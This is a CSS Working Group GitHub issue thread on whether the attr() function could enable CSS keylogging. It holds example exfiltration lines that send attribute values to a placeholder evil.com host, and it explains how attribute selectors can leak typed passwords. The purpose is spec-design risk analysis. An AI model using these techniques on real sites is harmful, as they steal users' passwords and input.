Csswg-drafts: [css-values] Keylogging concerns for attr() value

[upsuper]

See https://github.com/maxchehab/CSS-Keylogging for an interesting poc how using pure CSS to do keylogging. I suspect attr() value would have way larger potential to enable a more powerful CSS keylogger.

[upsuper]

Hmmm... value of attribute shouldn't be affected by input at all. This seems invalid, and I cannot reproduce keylogging with the proposed method from the poc.

[upsuper]

So that POC relies on component frameworks like React, which seems to put the value inputted by user back to the value attribute, which caused the keylogging issue. In that case, attr() may still enable a more powerful keylogger, but I'm not sure how much do we as the working group care about this concern.

[Nadya678]

The [value] is static but must be specified that ::after and ::before are forbidden for input.

It is good reason why not to use react etc.

Why ::before must be locked for input? ::before will create anonymous div that can load specified font and the width of block can be checked.

[tabatkins]

@upsuper attr() can't be used for anything nefarious today, but if we add a string-concat function, it lets you trivially exfiltrate any attribute value from an element with something like background: url(concat("https://evil.com/?value=", attr(value)));.

But then again, we already know that allowing people to run arbitrary CSS on your site is an XSS vector. It takes a little more effort than just running arbitrary script, but there have been several reasonable POCs written over the years.

The linked article describes using attribute selectors for this purpose, which does work today but requires an exponential explosion of selectors to get something useful. Weak password exfiltration might be reasonable, particularly since using a combination of ^= and $= lets you cut the exponent in half, and using *= gives you the set of characters used.

[upsuper]

attr() can't be used for anything nefarious today

Hmmm, if you can insert a sheet on a host you controlled, e.g. inserting <link rel="stylesheet" href="https://evil.com/keylogger.css">, then you can get calls purely via background: url(attr(value)) in it. But that's probably harder in most cases, but who knows?

But then again, we already know that allowing people to run arbitrary CSS on your site is an XSS vector. It takes a little more effort than just running arbitrary script, but there have been several reasonable POCs written over the years.

It's a bit surprising to me. I didn't think CSS could be used for XSS... Have we put anything about this in CSS spec somehow?

Weak password exfiltration might be reasonable, particularly since using a combination of ^= and $= lets you cut the exponent in half, and using *= gives you the set of characters used.

It's more than that, really. If you type the password, $= would almost record the whole password string as you type. It has pitfalls, e.g. it cannot record repeated characters, and it wouldn't work if you use arrow keys etc. to insert character before. But yeah, it's reasonable enough to shrink the search space significantly.

[tabatkins]

Hmmm, if you can insert a sheet on a host you controlled,

If you control the host, you can already do whatever you want. I don't think that's an attack scenario we have to worry about. ^_^ Because yeah, the best that url(attr(value)) can do is resolve to some URL relative to the stylesheet, which means it can only be intercepted by the person controlling the server that the stylesheet is hosted on.

It's more than that, really. If you type the password, $= would almost record the whole password string as you type. It has pitfalls, e.g. it cannot record repeated characters, and it wouldn't work if you use arrow keys etc. to insert character before. But yeah, it's reasonable enough to shrink the search space significantly.

Ah, indeed, that's clever. (Tho again, it only works against things like React that spam the value property into the value attribute.)

[upsuper]

If you control the host, you can already do whatever you want. I don't think that's an attack scenario we have to worry about.

I mean you insert a sheet which is served from a host you controlled. I don't think that's the same as controlling the host which serves the page.

[tabatkins]

I think that requires full XSS power to do? (As in, if you can insert arbitrary s, you can already own the page.) Unless @import is around, hmm.

Point stands - CSS is already in many ways as dangerous of an XSS vector as JS. If you're allowing arbitrary CSS you're screwed.

[annevk]

https://github.com/w3c/webappsec-csp/issues/45 is somewhat relevant here. Giving sites more fine-grained control over what CSS can be inserted.

[Nadya678]

1) do not expose password in value attribute
2) external CSS can be always dangerous
3) do not use poopy frameworks. They are often write to do fast and write less but not solid and secure project.